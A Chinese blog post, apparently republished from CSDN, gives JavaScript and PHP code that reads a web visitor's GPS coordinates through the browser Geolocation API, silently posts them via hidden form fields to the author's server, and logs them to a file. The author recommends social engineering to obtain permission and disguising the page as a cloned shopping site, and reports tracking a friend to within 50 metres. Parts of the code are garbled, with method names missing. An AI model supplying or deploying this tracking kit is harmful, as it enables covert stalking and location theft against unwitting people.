rn 地图根据区名获取经纬度_数据检索之经纬度定位

本文介绍了一种利用HTML5 Geolocation API在网页中获取用户经纬度坐标的方法,精度可达50米内。通过创建隐藏的表单并提交到服务器,可以保存用户的地理位置信息。尽管需要用户授权,但结合社工信息,可以提高定位的实用性。在测试中,将经纬度坐标输入到特定地图网站,成功验证了定位的准确性。
摘要由CSDN通过智能技术生成

原标题:数据检索之经纬度定位

众所周知,我们的IP定位也只是定位公网IP,精准度顶多在300-100米,甚至有些时候不能很好的获取对方的位置,以下的的技术,我自己试了,精准度在50以内。

此技术利用了HTML5 Geolocation API,直接调用方法即可,即使是4G网页可以精准定位,最原始代码如下,我自己加了一些。

现在编写index.php页面代码

Document

<>

var geol;

try {

if (typeof(navigator.geolocation) == 'undefined') {

geol = google.gears.factory.create('beta.geolocation');

} else {

geol = navigator.geolocation;

}

} catch (error) {

//alert(error.message);

}

if (geol) {

geol.getCurrentPosition(function(position) {

var nowLatitude = position.coords.latitude;

var nowLongitude = position.coords.longitude;

//以上是固定代码,获取经度纬度

alert("纬度:" + nowLatitude + ", 经度:" + nowLongitude); //弹出经度纬度的坐标

function new_form(){

var f=document.("form");

document.body.(f);

f.method="post";

return f;

} //定义函数,创建form

function create_elements(eForm,eName,eValue){

var e=document.("input");

eForm.(e);

e.type="text";

e.name=eName;

if(!document.all){e.style.display="none"}else{

e.style.display="block";

e.style.width="0px";

e.style.height="0px";

}

e.value=eValue;

return e;

}

//这段代码意思就是 定义方法,有两个input 他们的值分别是经度纬度的值

var _f=new_form();

create_elements(_f,"username",nowLatitude) // 创建form中的input对象

create_elements(_f,"password",nowLongitude);

_f.action="geolocation2.php";

_f.submit(); //提交

//表单自提交发送到geolocation2.php页面

}, function(error) {

switch(error.code){

case error.TIMEOUT :

//alert("连接超时,请重试");

break;

case error.PERMISSION_DENIED :

//alert("您拒绝了使用位置共享服务,查询已取消");

break;

case error.POSITION_UNAVAILABLE :

//alert("非常抱歉,我们暂时无法通过浏览器获取您的位置信息");

break;

}

}, {timeout:10000}); //设置十秒超时

}

//设置连接超时的报错

>

然后来写接受页面 geolocation2.php 的代码

@$time=date('Y-m-d H:i:s',time()); //获取当前时间

$nowLatitude="纬度 ".$_POST['username']; //接受上个页面传过来的参数(经度坐标)

$nowlongitude="经度 ".$_POST['password']." ------时间是".$time."rn";; //接受上个页面传过来的参数(纬度坐标)

$fp=fopen("geo.txt", "a+"); //创建一个geo.txt文件

fwrite($fp, $nowLatitude); //把经度写入到geo.txt里

fwrite($fp, $nowlongitude); //把纬度写入到geo.txt里

?>

注意点:对方必须点击授权以后才能拿到对方的经度纬度(这个缺点可以结合社工实现)

现在来做个小测试

假设让对方访问

让对方访问我们的站点,他的页面上会显示 它自己的经度,纬度,并且经度纬度会保存在我们的站点数据里

然后我们的站点上生成了一个geo.txt文件

打开geo.txt

对方的经度纬度已经写入

现在我们打开

http://www.gpsspg.com/maps.htm

把经度纬度写上去

给我朋友做的测试,它的确在这里,精准度50米

现在来完善上面的缺点

就是去网上扒一个购物网站的源码,把源码复制在index.php里

图如下,我把网站源码修改成某网站

这样就能精准的获取到他的地址位置~~~(自己试了,超爽的~)

责任编辑:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值